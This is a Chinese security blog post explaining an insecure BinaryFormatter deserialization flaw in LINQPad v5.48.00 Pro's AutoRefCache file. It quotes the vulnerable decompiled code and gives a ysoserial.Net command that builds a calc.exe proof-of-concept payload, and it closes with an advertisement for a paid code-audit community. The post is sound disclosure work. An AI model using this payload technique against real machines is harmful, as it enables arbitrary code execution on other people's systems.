在 Web 应用程序中,LINQPad 是一款被 .NET 开发者广泛使用的交互式编辑工具,尤其适合快速编写和调试 LINQ 查询。在企业研发和安全研究者群体中都有很高的使用率。不过在 LINQPad v5.48.00 专业版中,研究人员发现了一个反序列化相关的安全问题。漏洞的根源在于程序内部使用了对磁盘缓存文件进行反序列化处理,却缺乏有效的安全校验。这意味着如果能控制缓存文件,就可能触发任意代码执行。
问题出现在 AutoRefManager 类的 PopulateFromCache
方法。该方法由 Initialize
调用,核心逻辑是从固定路径 AutoRefCache46.1.dat
读取数据,并通过 BinaryFormatter.Deserialize 直接进行反序列化:
privatestaticboolPopulateFromCache(){if(!File.Exists(AutoRefManager._cachePath))returnfalse;try{Dictionary<string,string[]> dictionary;using(FileStream serializationStream = File.OpenRead(AutoRefManager._cachePath)) dictionary =(Dictionary<string,string[]>)newBinaryFormatter().Deserialize((Stream)serializationStream);if(dictionary ==null)returnfalse;// 后续数据处理逻辑 TypeResolver.AutoRefCaseLookup = dictionary.Keys.ToLookup(s => s, StringComparer.OrdinalIgnoreCase); TypeResolver.AutoRefLookup = AutoRefManager._refLookup = dictionary;returntrue;}catch{returnfalse;}}
这里的关键点在于:
路径是固定的
%localappdata%LINQPadAutoRefCa
che46.1.dat
使用 BinaryFormatter 反序列化外部输入
缺乏输入验证与签名校验
因此,只要攻击者能够替换或植入该缓存文件,就能在 LINQPad 启动时触发不安全反序列化,进而执行任意代码。
研究人员发现,该漏洞可以通过构造特定的 BinaryFormatter Payload 来触发。例如使用 ysoserial.Net 生成 TypeConfuseDelegate
链的有效负载:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c calc.exe -o raw > AutoRefCache46.1.dat
然后将生成的 AutoRefCache46.1.dat
放置到 LINQPad 目录。当 LINQPad 专业版启动并调用 PopulateFromCache
方法时,就会自动反序列化并执行恶意逻辑。
开发商在 LINQPad v5.52.01 中修复了该问题,推荐用户尽快升级。需要注意的是:免费版和未授权版本不会触发该漏洞;受影响的主要是 v5.48.00 专业版。
专属福利
1. 学习模式: 代码审计知识星球在线录播视频 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;
2. 优享福利:加入.NET代码审计星球后赠送永久dot.Net安全基础入门星球。
课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,越早加入越划算! 现在加入星球可享受星球早鸟价,并可领取100元优惠券,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师二维码了解更多详情。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...